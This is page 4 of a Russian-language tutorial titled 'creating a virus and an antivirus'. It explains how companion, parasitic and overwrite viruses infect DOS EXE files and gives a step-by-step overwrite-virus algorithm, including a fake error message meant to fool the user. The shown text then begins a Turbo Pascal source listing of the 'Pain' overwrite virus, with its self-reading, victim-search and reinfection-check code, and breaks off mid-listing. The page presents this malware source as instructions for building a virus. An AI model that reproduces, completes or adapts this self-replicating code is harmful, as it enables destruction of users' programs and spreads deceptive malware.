Создаем вирус и антивирус - Страница 4
Вирусы второго типа действуют более тонко. Имя инфицируемого EXE-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (COM, EXE и BAT). Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место EXE-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в EXE-файле. Инфицировав еще один или несколько EXE-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EXE, а COM, поскольку EXE-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.
Вирусы, внедряющиеся в программу (Parasitic)
Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения EXE-вирусов в EXE-файл.
Способы заражения EXE-файлов
Самый распространенный способ заражения EXE-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение COM-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ – внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него – код инфицируемой программы. Таким образом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюда и название способа – «способ сдвига». При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (COM или EXE), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто – достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – «метод переноса». После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Вирусы, замещающие программный код (Overwrite)
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан ReminderW (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например «Abnormal program termination» или «Not enough memory», – пусть пользователь не слишком удивляется тому, что программа не запустилась.
12. Завершить программу.
Ниже приведен листинг программы, заражающей файлы таким способом.
{$M 2048, 0, 0}
{$A−}
{$B−}
{$D−}
{$E+}
{$F−}
{$G−}
{$I−}
{$L−}
{$N−}
{$S−}
{$V−}
{$X+}
{Используются модули Dos и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses Dos;
Const
{Имя вируса}
VirName=’Pain’;
{Строка для проверки на повторное заражение.
Она дописывается в заражаемый файл сразу после кода вируса}
VirLabel: String[5]=’Pain!’;
{Длина получаемого при компиляции EXE−файла}
VirLen=4208;
Author=’Dirty Nazi/SGWW.’;
{Количество заражаемых за один сеанс работы файлов}
InfCount=2;
Var
{Массив для определения наличия копии вируса в найденном файле}
VirIdentifier: Array [1.5] of Char;
{Файловая переменная для работы с файлами}
VirBody: File;
{Еще одна файловая переменная – хотя без нее можно было
обойтись, так будет понятнее}
Target: File;
{Для имени найденного файла}
TargetFile: PathStr;
{Буфер для тела вируса}
VirBuf : Array [1.VirLen] of Char;
{Для даты/времени файла}
Time : LongInt;
{Счетчик количества инфицированных файлов}
InfFiles : Byte;
DirInfo : SearchRec;
LabelBuf : Array [1.5] of Char;
{Инициализация}
procedure Init;
begin
LabelBuf[1]:=VirLabel[1];
LabelBuf[2]:=VirLabel[2];
LabelBuf[3]:=VirLabel[3];
LabelBuf[4]:=VirLabel[4];
LabelBuf[5]:=VirLabel[5];
{Обнуляем счетчик количества инфицированных файлов}
InfFiles:=0;
{Связываем файловую переменную VirBody с именем программы,
из которой стартовали}
Assign(VirBody, ParamStr(0));
{Открываем файл с recsize=1 байту}
Reset(VirBody, 1);
{Считываем из файла тело вируса в массив VirBuf}
BlockRead(VirBody, VirBuf, VirLen);
{Закрываем файл}
Close(VirBody);
end;
{Поиск жертвы}
procedure FindTarget;
Var
Sr: SearchRec;
{Функция возвращает True, если найденная
программа уже заражена, и False, если еще нет}
function VirusPresent: Boolean;
begin
{Пока будем считать, что вируса нет}
VirusPresent:=False;
{Открываем найденный файл}
Assign(Target, TargetFile);
Reset(Target, 1);
{Перемещаемся на длину тела вируса от начала файла}
Seek(Target, VirLen);
{Считываем 5 байт – если файл уже заражен,